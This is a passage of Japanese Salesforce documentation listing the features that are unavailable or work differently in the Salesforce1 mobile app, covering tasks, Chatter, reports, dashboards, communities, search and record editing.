ザが変更できないためコンパクトレイアウトには表示されませんが、次の要素は常に確認できます。
– アイコンおよび アイコンでは、ToDo の編集権限のあるユーザに IsClosed 項目の状況を表しま

す。
– アイコンは、優先度高 (カスタムの優先度高を含む) とマークされている ToDo を表します。
– 期日が存在し、ユーザに期日を参照する権限があれば、すべての ToDo に期日が表示されます。
– ToDo には主取引先責任者および関連取引先、またはその他のレコード (存在する場合) が含まれていま

す。
各リストの項目は、Salesforce 組織の設定によって異なる場合があります。
ToDo レコードのレイアウトおよび ToDo リストの ToDo はコンパクトレイアウトを使用して制御します。関
連リストは、通常どおりページレイアウトエディタを使用して制御します。期日項目をどちらのレイアウ
トに追加しても、ToDo の表示は変更されません。これらの項目が 2 回表示されることはありません。
Salesforce1 では、ToDo の組み込み要素の下に最大 3 つの追加項目が表示されます。
– ToDo のデフォルトのコンパクトレイアウトでは、リードまたは取引先責任者の名前と、商談、取引先、

または ToDo が関連付けられているその他のレコードという 2 つの項目が含まれます。
– [活動] 関連リストでは、ToDo の項目は表示しているレコードタイプ、およびそのオブジェクトのレイア

ウトの定義方法に応じて異なります。
詳細は、「Compact Layouts」を参照してください。

メモ
• Salesforce1を使用する場合、Salesforce1ナビゲーションメニューの [メモ]項目から自分のすべてのメモにアク

セスできます。フルサイトの Salesforce Classic バージョンには [メモ] タブがありません。代わりに、Salesforce

Classic ユーザは [ファイル] タブからメモにアクセスします。
• 他のユーザやグループとのメモの共有はできません。
• Salesforce1 for Android ダウンロード可能アプリケーションおよび Salesforce1 モバイルブラウザアプリケーショ

ンでは、メモに画像を追加できませんが、フルサイトで追加された画像は表示できます。一方、Salesforce1

for iOS ダウンロード可能アプリケーションのバージョン 10.0 以降を使用している場合は、メモに画像を追加
できます。
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• フルサイトで使用できるリッチテキストオプションの一部 (太字または斜体フォントの適用やパラグラフの
インデントなど) は、Salesforce1 では使用できません。ただし、フルサイトで追加された書式設定は表示で
きます。

• メモを以前のバージョンに戻すことはできませんが、以前のバージョンを表示することはできます。
• メモの作成や編集時、スペルミスは強調表示されません。

メール
• Lightning Experience では改善されたレイアウトを使用できますが、Salesforce1 ではメールがこのレイアウトで

表示されません。
• Salesforce1 では、Inbox は使用できません。

音声
• Lightning Experience のテレフォニー機能は Salesforce1 では使用できません。
• Skype for Salesforce は使用できません。

Work.com

Salesforce1 で Work.com 機能を使用する場合、次を行うことはできません。
• 目標および総計値の共有
• レポートへの総計値のリンク
• レポートにリンクされている総計値の更新
• 親目標とサブ目標のリンク
• 目標画像の追加
• カスタムバッジの作成
• フィードバックの提供または要求
• カスタム総計値項目の表示
• パフォーマンスサマリーの作成、入力、または破棄
• パフォーマンスサマリーサイクルの管理

カスタマーサービス機能: Salesforce1 で使用できない機能とその新機能

ケースとケースフィード
• 従来の「ケースフィードユーザのページレイアウト」が有効になっている組織では、「ケースフィードを

使用」権限が割り当てられいるユーザに、Salesforce1 の標準ケースレイアウトが表示されます。
• Salesforce1では、ケースフィードへの標準アクションは使用できません。ただし、この機能と同等のいくつ

かのアクションが Salesforce1 で使用できます。Salesforce システム管理者は、これらのアクションをケース
ページレイアウトの [Salesforce1 および Lightning のアクション] セクションに追加することで、ケースを使用
するときに Salesforce1 アクションバーで使用可能にできます。
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Salesforce1 での同等のアクションSalesforce Classic で使用可能な標準アクション

メールを送信メール

ケースの更新ケース状況の変更

活動の記録活動の記録

[ポータル] アクションは使用できません。
• Salesforce1 で [メールを送信] アクションを使用するときには、動作の違いがあります。

– [メールを送信] パブリッシャーの CC および BCC 項目を折りたたむことはできません。
– Salesforce1では、ケースの [メールを送信] アクションで HTML を使用できません。[メールを送信] アクショ

ンに [HTML 内容] 項目が含まれていても、HTML マークアップタグは [メールを送信] パブリッシャー
や、アクションで作成されたメールに表示されません。

– Salesforce1でケースの [メールを送信] アクションを使用している場合、メール添付ファイルを含めること
はできません。

– デフォルトメールテンプレートがケースの [メールを送信] アクションに割り当てられている場合、テン
プレートに含まれている添付ファイルはSalesforce1で無視されます。添付ファイルは、[メールを送信] パ
ブリッシャーに表示されず、アクションで作成されたメールに含まれません。

• Salesforce1 からケースコメントの作成、編集、または削除を行うことはできません。また、[ケースコメン
ト] 関連リストにはフルサイトで追加されたコメントの全文は表示されません。

• 次のケースの関連リストは使用できません。
– 休日の営業時間リスト
– ケース取引先責任者の役割
– マイルストンリスト
– ソリューションリスト
– チームメンバーリスト
– チームのチームメンバーリスト
– チームテンプレートメンバーリスト

フィールドサービス Lightning

• フィールドサービス関連リストからレコードを作成する場合、レコードを保存するまで、親レコードを表
示する項目に入力が行われません。この問題は、Salesforce1 のすべてのバージョンで発生します。たとえ
ば、作業指示の [サービス予約] 関連リストでサービス予約を作成した場合、[保存]をタップするまで [親レ
コード] 項目は空白です。レコードが作成されると、親レコード項目に親作業指示が表示されます。

• Salesforce1 では、ディスパッチャコンソールを使用できません。ディスパッチャコンソールは、Field Service

Lightning 管理パッケージの一部であり、サービスリスト、スケジュール設定ポリシーピッカー、ガント
チャート、および地図が含まれています。
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Salesforce ナレッジ記事
Salesforce1 for iOS ダウンロード可能アプリケーションのバージョン 10.0 以降、Salesforce1 for Android ダウンロード
可能アプリケーションのバージョン 8.0 以降、およびSalesforce1 モバイルブラウザアプリケーションでは記事が
サポートされていますが、次の制限事項があります。

モバイルブラ
ウザアプリ
ケーション

iOS ダウン
ロード可能ア
プリケーショ
ンのバージョ
ン 10.0 以降

Android ダウ
ンロード可能
アプリケー

ションのバー
ジョン 8.0 以

降

問題

使用できるのは公開記事のみです。ドラフト記事またはアーカ
イブ済み記事は使用できません。

記事を作成、編集、翻訳、アーカイブできません。

記事をケースにリンクできません (ただし、フルサイトで設定さ
れたリンクは Salesforce1 の関連タブで参照できます)。

スマートリンクがサポートされていません。

記事の評価がサポートされていません。

記事のリッチテキスト項目に含まれた表の右側が切れる場合が
あります。

コンパクトレイアウトで、記事タイプ名ではなく記事タイプ API

名が表示されます。したがって、ユーザが記事を参照すると、
特長領域に記事タイプ API 名が表示されます。

[記事] ホームページから検索するときに、ユーザの言語であり、
かつ有効なナレッジ言語 ([設定] から [カスタマイズ] > [ナレッ
ジ] > [ナレッジの設定]) である言語の記事のみが返されます。別
の言語の記事を表示するには、ユーザが有効なナレッジ言語を
変更できます。[私の設定] の [クイック検索] ボックスを使用し
て、[言語とタイムゾーン] ページを検索します。

グローバル検索では、有効なナレッジ言語に関わらず、検索結
果にはデバイスに指定された言語の記事が表示されます。

データカテゴリ、記事タイプ、検証状況、または言語による検
索結果の絞り込みが使用できません。

グローバル検索で、最近のレコードのリストに記事が表示され
ません。

グローバル検索結果で、検索の強調表示とスニペットが表示さ
れません。
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モバイルブラ
ウザアプリ
ケーション

iOS ダウン
ロード可能ア
プリケーショ
ンのバージョ
ン 10.0 以降

Android ダウ
ンロード可能
アプリケー

ションのバー
ジョン 8.0 以

降

問題

これらの機能は、すべてのバージョンの Salesforce1 で、[記事]

ホームページから検索すると使用できます。

Salesforce1 モバイルアプリケーションでコミュニティにアクセス
するとナレッジ記事が使用できません。

ソーシャルカスタマーサービス
• ソーシャル投稿に返信するには、Salesforce Classic を使用する必要があります。
• Salesforce1 では、モデレーションページや認証ページは使用できません。

作業指示のマイルストン
• マイルストントラッカーは使用できません。
• エンタイトルメントプロセスおよびマイルストンは、Salesforce フルサイトから管理する必要があります。

作業指示およびリンク済み記事
• リンク済み記事は参照のみです。知識ベースを検索し、添付された記事を参照できますが、記事の添付や

添付解除は実行できません。リンク済み記事の設定を管理し、記事を添付または添付解除するには、フル
サイトを使用します。

• 記事の [リンク済み作業指示] および [リンク済み作業指示品目] 関連リストは使用できません。
• フィード項目からはリンク済み記事にアクセスできません。

レポートおよびダッシュボード: Salesforce1 で使用できない機能とその新機能

レポート
Salesforce1 でレポートを使用する場合の考慮事項

Salesforce1 機能に関する留意事項機能

Salesforceフルサイトの場合と同様に、レポートでは、
最大 2,000 行を表示します。

表示される行数

グルーピングがあるレポートを参照する場合、レ
ポートの最後にグルーピングが列として表示されま
す。

グルーピング
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Salesforce1 機能に関する留意事項機能

Salesforce1 ではサマリーレポート、マトリックスレ
ポート、および表形式レポートを使用できますが、

レポート形式

マトリックスレポートとサマリーレポートは表形式
で表示されます。結合レポートは使用できません。

条件付き強調表示が示されているレポートは、
Salesforce1 に表示できません。

条件付き強調表示

[レポート] タブからレポートを開くと、レポートを
絞り込むことはできません。
ダッシュボードコンポーネントをタップしてソース
レポートを開くと、グラフ上の値をタップしてレ

検索条件

ポートを絞り込むことができます。ソースレポート
が表形式レポートまたは結合レポートの場合は、絞
り込むことはできません。

Salesforce1 で使用できないレポート機能
• レポートの作成、編集、削除
• エクスポート
• 印刷
• フィード
• レポートの更新のスケジュール
• 登録
• 結合レポート
• 履歴トレンドレポート
• キャンペーンへの追加
• ロール階層
• カスタム集計項目
• フォルダ
• 詳細を非表示
• 概要情報 (総計、小計、集計項目、レコード件数など)

Salesforce1 でのレポートの使用に関するその他の留意事項
• 3 個を超えるチェックボックス項目を含むレポートにはドリルインできません。
• 16 個を超える集計項目を含むレポートを Salesforce1 に表示すると、エラーメッセージが表示されます。
• Salesforce1では、動的パラメータ値を使用する URL を介してレポートを表示できません。パラメータをレ

ポートに渡すように URL を変更すると、Salesforce1に空白画面 (返される結果がないレポートレコード) が
表示されます。
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ダッシュボード
Salesforce1 でダッシュボードを使用する場合の考慮事項

Salesforce1 機能に関する留意事項機能

Salesforce1 ではダッシュボードを編集できません。
ダッシュボードは参照のみです。

ダッシュボードの編集

Salesforceフルサイトと同様に、Salesforce1ではロール
階層内のユーザとしてのみダッシュボードを実行で

次のユーザとして参照

きます。ただし、Salesforce1では、組織内のすべての
ユーザから選択できます。ロール階層外のユーザを
選択すると、エラーが表示されます。

拡張グラフを使用すると、ダッシュボードは、携帯
電話では 1 列レイアウト、タブレットでは 2 列レイ
アウトで表示されます。
Classic グラフを使用すると、4 列以上の列がある
Lightning Experience ダッシュボードは、携帯電話とタ
ブレットでは 3 列のレイアウトで表示されます。

ダッシュボードレイアウト

Salesforce1 で使用できないダッシュボード機能
• ダッシュボードの作成、編集、削除
• フィード
• スケジュール
• ダッシュボードコンポーネントから Web サイトまたはメールアドレスへのリンク
• ダッシュボードの Visualforce コンポーネント
• フォルダ

Salesforce1 でのダッシュボードの使用に関するその他の留意事項
場合によっては、ダッシュボードコンポーネントに表示されたデータが、同じページに表示されるレポー
トのデータと同期されない可能性があります。ダッシュボードコンポーネントのデータがレポートに一致
しない場合、次のいずれかの問題が発生しています。
• ダッシュボードは設定されたユーザまたは実行中のユーザとして更新されているが、レポートが常に現

在のユーザとして実行されている。
• レポートがダッシュボードの更新の後に更新された。レポートは参照するたびに更新されますが (オフ

ラインでない場合)、ダッシュボードコンポーネントはそのコンポーネントが属するダッシュボードが
更新されたときにのみ更新されます。

同じ一時的な不一致がフルサイトで発生する可能性がありますが、フルサイトではレポートとダッシュボー
ドグラフが別のページに表示されます。Salesforce1では、レポートとダッシュボードグラフが同じページに
表示されます。
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グラフ
Salesforce1 でのグラフの使用に関するその他の留意事項

• [Salesforce1 の拡張グラフを有効化] を有効にしていない場合は、新しい Lightning Experience グラフではな
く、以前のSalesforce Classicグラフが表示されます。[Salesforce1の拡張グラフを有効化]を有効にすると、
ユーザがSalesforceフルサイトでLightning Experienceに切り替えているかどうかに関わらず、すべてのユー
ザに拡張グラフが表示されます。
拡張グラフは従来のグラフと似ていますが、いくつかの違いがあります。
– 拡張グラフでは最初の 200 件のグルーピングのみが表示されます。
– タブレットでは、ダッシュボードに常に 2 列が表示されます。携帯電話では、ダッシュボードに常

に 1 列が表示されます。
– モバイルダッシュボードでは、拡張グラフのコンポーネントにはフッターが表示されませんが、タ

イトルとサブタイトルは引き続き表示されます。コンポーネントフッターに重要な情報がある場合
は、その情報をタイトルまたはサブタイトルに移動することを検討してください。

メモ: 組織を Summer '16 リリース以降に作成した場合、デフォルトで拡張グラフが有効になってお
り、従来のグラフは使用できません。Summer '17 では、すべての組織の Salesforce1 で拡張グラフの
みを使用できます。

• レポートグラフは、ダッシュボードコンポーネントのレポートにドリルインした後で使用できます。レ
ポートグラフは [レポート] タブからは使用できません。

Salesforce Files: Salesforce1 で使用できない機能とその新機能
Salesforce1 モバイルアプリケーションで Salesforce Files を使用する場合、次を行うことはできません。
• Chatter のフィード項目に複数の添付ファイルを追加する
• メイン Chatter フィードのフィード項目への複数の添付ファイルを表示する - 最初の添付ファイルのみが表

示されます (ダウンロード可能アプリケーションのみ)

• 次の種類以外のファイルを表示する: .doc、.docx、.pdf、.ppt、.pptx、.xls、.xlsx、および
.gif、.jpg、.png 形式を含むすべての画像ファイル

• ライブラリフォルダを作成、名前変更、または削除する
• ライブラリのファイルをフォルダへに移動する
• 大規模ポータルユーザが Salesforce1 ナビゲーションメニューから Files にアクセスする
• Good Access セキュアモバイルブラウザを使用してファイルをアップロードする
• メイン Chatter フィード内のファイルにトピックを割り当てる (ダウンロード可能アプリケーションのみ)

コンテンツライブラリおよびファイル
Salesforce1 for iOS ダウンロード可能アプリケーションでの Salesforce CRM Contentのサポートは、ユーザによるコン
テンツの表示と共有を対象としています。ライブラリの管理やライブラリへの寄稿など、その他の活動は
Salesforce1 では行えません。Salesforce1 でのコンテンツライブラリの操作がフルサイトでユーザが実行できるこ
ととどのように異なるかを次に示します。
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• [非公開ライブラリ] フォルダは使用できません。代わりに、ユーザは [ファイル] ホームの [ファイル] リスト
で [自分が所有者] 検索条件を選択することで、非公開ライブラリのファイルにアクセスできます。

• ライブラリを参照するときに、[トップコンテンツ]、[人気のあるタグ]、[最近の活動]、[最も活動的な寄稿
者] セクションは表示されません。

• ユーザは次の操作を実行できません。
– コンテンツの詳細ページを表示する
– 新規または修正ファイルをライブラリにアップロードして公開する
– ライブラリで Web リンクを公開する
– コンテンツの詳細を編集する
– コメントを追加、編集、または削除する
– ファイルを別のライブラリに移動する
– タグを使用してコンテンツを分類または絞り込む
– ライブラリ、ファイル、著者、またはタグを登録する
– コンテンツに関するフィードバックを提供したり、コンテンツに関するフォードバックを確認する
– コンテンツを削除、アーカイブ、または復元する

• ファイルの種類、著者、またはライブラリ名による絞り込みなど、コンテンツの検索オプションは使用で
きません。ただし、ユーザはグローバル検索を使用してライブラリのファイルを検索できます。

• Salesforce1でのコンテンツパックの操作は制限されています。ユーザは既存のコンテンツパックを参照し、
Salesforce の同僚やグループと共有できます。ただし、コンテンツパックに含まれるファイルのプレビュー
やダウンロードはできません。また、モバイルユーザはコンテンツパックを作成または変更できません。

• コンテンツ配信の作成または管理を行うことはできません。これには、ファイルとコンテンツパックを顧
客と共有するための暗号化された URL の生成が含まれます。

Chatter: Salesforce1 で使用できない機能とその新機能

フィード
Salesforce1 モバイルアプリケーションでフィード項目を表示する場合、次のものは表示されません。
• ライブフィード更新またはライブコメント更新
• メインフィードでのリッチテキスト書式設定またはコードスニペット (ダウンロード可能アプリケーション

のみ)

• メインフィードでのインライン画像。代わりに画像の名前のあるプレースホルダが表示されます (ダウン
ロード可能アプリケーションのみ)

• メインフィード内の項目への複数の添付ファイル。最初の添付ファイルのみが表示されます (ダウンロード
可能アプリケーションのみ)

• メインフィードでのリンクのプレビュー (ダウンロード可能アプリケーションのみ)

• 投稿にいいね! と言った人のリスト (モバイルブラウザアプリケーションのみ)

• [自分がフォローするもの] フィードでのバンドル投稿 (ダウンロード可能アプリケーションのみ)

• ソーシャルフィード投稿 (ダウンロード可能アプリケーションのみ)
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• メインChatterフィード (ダウンロード可能アプリケーションのみ) またはプロファイル上のフィード (Salesforce1

for iOS ダウンロード可能アプリケーションのみ) で表示する場合の、Lightning Experience から共有された投稿
の完全なコンテンツ。共有コンテンツを表示するには、共有フィード項目の [投稿を表示] リンクをタップ
します。

Salesforce1 からフィードで投稿、コメント、またはその他の作業を行う場合、次の操作は実行できません。
• フィード項目へリッチテキスト書式設定を適用またはコードスニペットを追加する
• Chatter 顔文字を使用する (ただし、iOS と Android の絵文字キーボードを使用して顔文字をフィードに追加す

ることは可能)

• フィード項目にインライン画像を追加する
• フィード項目に複数の添付ファイルを追加する
• フィードの投稿とコメントを編集する
• フィード項目をミュートする (ダウンロード可能アプリケーションのみ)

• メインフィードでアクションリンクを使用する (ダウンロード可能アプリケーションのみ)

• 投稿を共有する (モバイルブラウザアプリケーションのみ)

• ユーザプロファイルおよびレコードのフィードで検索する
他にも、Salesforce1 で Chatter 項目から使用できない機能があります。次の操作は実行できません。
• メインフィードを切り替えてミュート済み投稿のみを表示する
• メインフィードを絞り込んで、すべての更新、一部の更新、質問、または特定のオブジェクトに関連する

投稿のみを表示する
• Chatter メッセージを送信または表示する。
• おすすめを表示する
• Chatter のお気に入りを追加または表示する。
• Chatter 活動統計または Chatter 影響度状況を表示する。
• 同僚を Chatter へのサインアップに招待する。

トピック
トピックは、Salesforce1モバイルブラウザアプリケーションでのみ使用できます。モバイルブラウザアプリケー
ションでは、次の操作は実行できません。
• トピックのトレンドを表示する。
• トピックの詳細 (名前や説明) を編集する。
• お気に入りのトピックにタグを付ける。
• トピックをレコードに割り当てる。
• トピックに割り当てられたレコードを表示する。
• [関連トピック]、[関連グループ]、[トピックに関する知識がある]、[最近のファイル] 関連リストを表示す

る。
• 検索時にオートコンプリートオプションでトピックを表示する。
• トピックを削除する。
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Chatter の質問
Salesforce1 で Chatter の質問を使用する場合、次の操作は実行できません。
• 質問をするときに類似する質問およびナレッジ記事を表示する
• 最良の回答を選択する

メモ: Chatter の質問は、Salesforce1 ダウンロード可能アプリケーションで完全にはサポートされていませ
ん。同僚が質問すると、誰が投稿したかは表示されますが、質問のテキストは表示されません。ただし、
質問に対する回答はすべて表示されます。

グループ
Salesforce1 でグループを使用する場合、次の操作は実行できません。
• ライブフィード更新を表示する。
• グループ作成ウィザードを使用して新しいグループを設定する。
• 参加するグループのおすすめを表示する。
• 顧客を非公開顧客グループに招待する。
• [レコードの追加] アクションを使用して、顧客を含む Chatter グループにレコードを追加する。
• 非公開グループへの参加要求を取り下げる。
• コミュニティのグループのメールおよびアプリケーション内通知の設定を変更する。
• グループメンバーのエンゲージメントデータを表示またはカスタマイズする。
グループ所有者およびグループマネージャはグループファイルリストからファイルを削除できません。

人とプロファイル
Salesforce1 で人を使用してプロファイルを参照する場合、次の操作は実行できません。
• Salesforce1 for iOS ダウンロード可能アプリケーションでプロファイル情報を編集する。
• Good Access™ セキュアモバイルブラウザを使用してプロファイル写真をアップロードする。
• ユーザプロファイルの写真にマウスポインタを置いてすばやくユーザ情報を確認する。
• カスタムプロファイルを使用する。
• プロファイルの [フォローしている人] 関連リストを絞り込む。

Chatter Messenger

Salesforce1 では、Chatter Messenger は使用できません。

Salesforce Communities: Salesforce1 で使用できない機能とその新機能
Salesforce1 の Salesforce Communities はフルサイトと似ていますが、次のような違いがあります。
• コミュニティのSalesforce1ナビゲーションメニューには、内部組織で使用できる項目がすべて表示されるわ

けではありません。
– ナビゲーションメニューには、システム管理者がコミュニティの管理設定の [タブ & ページ] を使用して

コミュニティに追加したタブのみ表示されます。
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– Salesforce Classic で使用できる Chatter タブは Salesforce1 (および Lightning Experience) では 3 つのメニューオプ
ションに分かれています。コミュニティに Salesforce Classic の Chatter タブが含まれている場合、Salesforce1

では [フィード]、[人]、および [グループ] が表示されます。
– [行動] および [Today] 項目は使用できないため、ナビゲーションメニューに表示されません。
– ToDo は「ToDo の編集」権限を持つユーザのみが使用できます。
– [レポート] 項目は使用できないため、ナビゲーションメニューに表示されません。
– Salesforce1 ダウンロード可能アプリケーションでは、コミュニティの Salesforce ナレッジ記事はサポート

されていません。ナビゲーションメニューには [記事] 項目が表示されません。(ただし、Salesforce1 モバ
イルブラウザアプリケーションを使用している場合は記事を使用できます。)

• [すべての会社] フィードも [会社の特長] フィードもありません。
• 投稿へのインライン画像の追加は使用できません。
• [コミュニティ管理] および [コミュニティワークスペース] は Salesforce1 では使用できません。
• コミュニティビルダーのテンプレート (Koa、Kokua、カスタマーサービス (Napili)など) を使用しているコミュ

ニティには、Salesforce1 では表示されないリッチスタイルが含まれます。これらのコミュニティは反応型な
ので、コミュニティ URL を使用してモバイルブラウザから直接アクセスすることをお勧めします。(Salesforce

タブ + Visualforce テンプレートを使用したコミュニティは、Salesforce1 アプリケーションのすべてでサポート
されます。)

• Site.com のブランド設定はサポートされていません。
• コミュニティメンバーは、非公開メッセージに不正フラグを設定できません。
• Salesforce1では、評価はサポートされていません。ただし、フルサイトで評価が有効化および設定されてい

る場合は、ユーザがSalesforce1を使用しているときにポイントを獲得できます。ただし、ポイントはフルサ
イトでのみ表示できます。

• 検索はコミュニティの範囲で行われ、現在のコミュニティの項目のみが返されます。レコードだけは例外
で、各コミュニティおよび内部組織で共有されます。

• ロールベースの外部ユーザはレコードの [承認履歴] 関連リストから承認申請を承認または却下できますが、
承認申請は送信できません。

• ユーザの通知リストには、ユーザがメンバーとなっているすべてのコミュニティの通知が含まれます。通
知元のコミュニティの名前がタイムスタンプの後に表示されます。

• 外部ユーザがコミュニティにアクセスしてもヘルプリンクは表示されません。
• Salesforce1 モバイルブラウザアプリケーションの外部ユーザの写真には、ユーザが外部ユーザであることを

示すビジュアル表示は含まれません。Salesforceフルサイトと Salesforce1 ダウンロード可能アプリケーション
では、外部ユーザの写真の左上隅がオレンジ色になります。

• Salesforce1 モバイルブラウザアプリケーションでは、[人] リストの各ユーザ名の横にデフォルトの写真 ( )

が表示されます。ユーザをタップしてプロファイルページに移動すると、アップロードされたユーザの写
真が表示されます。Salesforce1 ダウンロード可能アプリケーションでは、[人] リストのユーザ名の横に写真
が表示されます。

• コミュニティテンプレートとユーザライセンスによって、Salesforce1を使用したコミュニティへのアクセス
方法が決まります。詳細は、Salesforce ヘルプの「Salesforce1 でのコミュニティへのアクセス」を参照してく
ださい。
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• コミュニティ内のグループメンバーは、Salesforce1でメール通知およびアプリケーション内通知を編集でき
ません。回避策として、グループメール通知設定をフルサイトのコミュニティで [すべての投稿] に設定で
きます。このオプションを選択すると、そのグループのメール通知とアプリケーション内通知の両方が
Salesforce1 で自動的に有効になります。

• モバイルデバイスがオフラインの場合、Salesforce1 でコミュニティは使用できません。

関連トピック:

Salesforce1 のコミュニティへのアクセス

ナビゲーションおよびアクション: Salesforce1 で使用できない機能とその新機能
ナビゲーション
• ほとんどのデバイスでは、Salesforce1モバイルアプリケーションは縦方向でのみサポートされています。iPad

タブレット上で Salesforce1 ダウンロード可能アプリケーションを使用している場合は例外で、縦方向と横
方向の両方がサポートされます。
モバイルブラウザアプリケーションのインターフェースは横方向に回転しますが、この方向では動作しな
い可能性があります。

• アプリケーションランチャーは使用できません。Salesforce1では、標準アプリケーションとカスタムアプリ
ケーションを切り替えられません。ナビゲーションメニューを使用すると、モバイルアプリケーションで
使用できるすべてのオブジェクトおよびアプリケーションにアクセスできます。

• Salesforce1 では、Lightning Experience ユーティリティバーは使用できません。
• タブキーの上から下の順序により、レコード詳細ページを参照するユーザが次の項目列の一番上に視線を

移す前に項目列を上から下へ移動できますが、この機能はSalesforce1ではサポートされません。ページレイ
アウトで上から下の順にタブキーで移動できるように設定されている場合でも、Salesforce1では項目列を左
から右の順に移動します。

アクション
• クイックアクション、生産性アクション、標準およびカスタムボタンなどほとんどのアクションは、Salesforce1

のアクションバーまたはリスト項目のアクションとして表示されます。
• Salesforce1 では、[保存 & 新規] ボタンは使用できません。
• Salesforce Classic で URL カスタムボタンを使用してパラメータを標準ページに渡している場合 (レコードの作

成時に項目を事前入力する場合など)、Salesforce1 ではこの動作は機能しません。
• Salesforce の [メールを送信] クイックアクションと、ケースフィードの標準の [メール] アクションにはいく

つかの相違点があります。
– [メールを送信] アクションでは、ユーザはリッチテキストエディタとプレーンテキストエディタを切り

替えることができません。
– [メールを送信] アクションでは、テンプレートがサポートされていません。
– [メールを送信] アクションでは、クイックテキストを使用できません。
– [メールを送信] アクションでは、添付ファイルがサポートされていません。
– [メールを送信] アクションを使用しているときに、ユーザはメッセージをドラフトとして保存できませ

ん。
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– ユーザは、[メールを送信] アクションで [送信者] 項目を編集または表示できません。

検索: Salesforce1 で使用できない機能とその新機能
検索動作

• Salesforce1 ナビゲーションメニューに [スマート検索項目] オプションが含まれている場合は、Salesforce1

でSalesforceを使用できます。標準オブジェクトとカスタムオブジェクトの検索結果を得るには、[スマー
ト検索項目] が必要です。

• Salesforce1でグローバル検索を行う場合、ナビゲーションメニューの [最近] セクションに表示されるオブ
ジェクトのレコードのみを検索できます。
Salesforceを使用し始めたばかりで最近のオブジェクトの履歴がまだない場合、一連のデフォルトのオブ
ジェクト (取引先、ケース、取引先責任者、ファイル、リード、商談) を検索できます。グループおよび
人が [最近] セクションに表示されている場合は、それらも検索できます。グループや人がナビゲーショ
ンメニューの他の領域に表示されている場合は、検索できません。
Salesforce1 および Salesforce フルサイト (Salesforce Classic および Lightning Experience) をしばらく使用している
と、[最近] セクションのデフォルトのオブジェクトが最も使用するオブジェクトに置き換えられ、それ
らのオブジェクトを Salesforce1 のグローバル検索で使用できるようになります。

• Salesforce1 モバイルブラウザアプリケーションでは、グローバル検索ボックスの下にある検索範囲バー
を使用すると、選択したオブジェクトの結果を表示できます。
検索範囲バーで使用できるオブジェクトは、Salesforce1ナビゲーションメニューの [最近] セクションに表
示される項目と同じです。検索範囲バーに表示されるオブジェクトの順序は、ナビゲーションメニュー
に表示される順序と同じです。
Salesforce1 for Android ダウンロード可能アプリケーションおよび Salesforce1 for iOS ダウンロード可能アプリ
ケーションには、検索範囲バーはありません。これらのアプリケーションでは、検索結果が 1 ページに
オブジェクトごとにグループ化されて表示されます。

• グローバル検索結果に表示されないオブジェクト (ナビゲーションメニューの [最近] セクションを [さら
に表示] をタップして展開したときに表示されるオブジェクト) のレコードを検索するには、そのオブ
ジェクトのホームページの検索ボックスを使用します。

• 頻繁に使用する項目を固定することはできません。
• ディビジョンによって検索することはできません。

インスタント結果

メモ: インスタント結果は、検索ボックスに最初の 3 文字以上を入力した後にドロップダウンとして
表示され、最近の項目や自動推奨レコードが含まれています。インスタント結果にレコードが表示さ
れない場合は、全文検索を実行します。

• Salesforce1 モバイルブラウザアプリケーションでは、Lightning Experienceより多くの最近の項目や自動推奨
レコードが表示されます。

• Salesforce1 モバイルブラウザアプリケーションでは、複数のオブジェクトではなく、選択したオブジェ
クトのみのインスタント結果が表示されます。
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検索結果
• 最も頻繁に使用するオブジェクトに対する検索結果が表示される [上位の結果] は使用できません。
• リストビューは全文検索の結果には含まれません。インスタント結果にリストビューを表示するには、

オブジェクトのレコード検索ページを開いて、検索語を入力します。入力すると、一致する項目のリス
トが展開され、Salesforce フルサイトで最後にアクセスしたリストビューが表示されます。

• 検索結果は絞り込めません。
• Salesforce1 for Android ダウンロード可能アプリケーションおよび Salesforce1 for iOS ダウンロード可能アプリ

ケーションのグローバル検索では、最も関連性のあるレコードが最大 50 件返されます。Salesforce1 モバ
イルブラウザアプリケーションでは制限がありません。

ルックアップ検索
• インスタント結果は、検索語に一致するすべてのレコードではなく最近の項目にのみ基づいています。
• ワイルドカードは自動的にすべてのルックアップ検索に追加されます。
• ルックアップ検索では、結果のうち最も関連性のあるレコードが最大 25 件返されます。
• プライマリレコード名の下に、コンテキスト情報が含まれたセカンダリ項目は表示されません。
• 1 回のルックアップに複数種類のオブジェクトのレコードを追加するには、検索結果の上にあるドロッ

プダウンを使用します。

データの入力: Salesforce1 で使用できない機能とその新機能
新規レコードの追加または既存のデータの更新時には、Salesforce フルサイトと Salesforce1 アプリケーションで
いくつかの相違点があります。

レコード
の編集

レコード
の作成問題カテゴリ

サードパーティのキーボードはサポートされていません。すべてのレ
コード

インライン編集は使用できません。

取引先、キャンペーン、ケース、取引先責任者、リード、商談、作業
指示、カスタムオブジェクトでのみ、レコード所有者を変更できます。

コンボボックス (選択リストとテキスト項目の組み合わせ) は使用でき
ません。通常、テキスト項目は使用できますが、選択リストは使用で
きません。

テリトリー管理を有効化している場合、レコードのテリトリールール
を割り当てたり、変更したりすることはできません。

[住所(請求先)を住所(納入先)へコピー] リンクおよび [住所(郵送先)を住
所(その他)へコピー] リンクは使用できません。

取引先と取引
先責任者

テリトリー管理が有効になっている場合、取引先レコードを編集する
ときに[保存時にこの取引先をテリトリールールに照らして評価します]

オプションを使用できません。
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レコード
の編集

レコード
の作成問題カテゴリ

行動所有者は、行動の招待者を変更、追加または削除することはでき
ません。複数の取引先責任者が行動に関連している場合、所有者は取

行動

引先責任者を編集できません。行動の関連リードまたは取引先責任者
が 1 名のみである場合、所有者はそれらを編集できますが、さらに追
加することはできません。

取引先責任者またはオブジェクトに関連していない行動は表示されま
せん。

招待された行動を受諾または却下することはできません。

Shared Activities を使用して複数の取引先責任者を行動に関連付けること
はできません。

提案行動 ([新規ミーティング要請]ボタン) はサポートされていません。

[名前] 項目が [リード] に設定されている場合、[関連先] 項目が引き
続き編集可能です。ただし、レコードを保存するときに [関連先]項目
にデータが含まれている場合はエラーが表示されます。

定期的な行動を作成したり、定期的な行動の詳細を変更したりするこ
とはできません。定期的な行動の個々の行動の詳細は変更できます。

[件名] 項目に、すでに定義されている件名の選択リストは含まれませ
ん。

関連付けられた取引先責任者の [メール] 項目および [電話] 項目は表示
されません。

添付ファイルは追加できません。

通知メールを送信することはできません。

行動アラームを設定することはできません。

新しいリードを追加する場合は、[キャンペーン] 項目および [有効な
割り当てルールによりリードを割り当てる] チェックボックスを使用す
ることはできません。フルサイトでは次の項目に値を追加できます。

リード

[売上予測分類] 項目は編集できません。レコードを保存するときに、
[フェーズ商談] 項目の値に基づいて項目が自動的に入力されます。

商談

Salesforce Classic では、この項目の値を手動で編集できます (Lightning

Experience ではできません)。

[件名] 項目に、すでに定義されている件名の選択リストは含まれませ
ん。

ToDo
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レコード
の編集

レコード
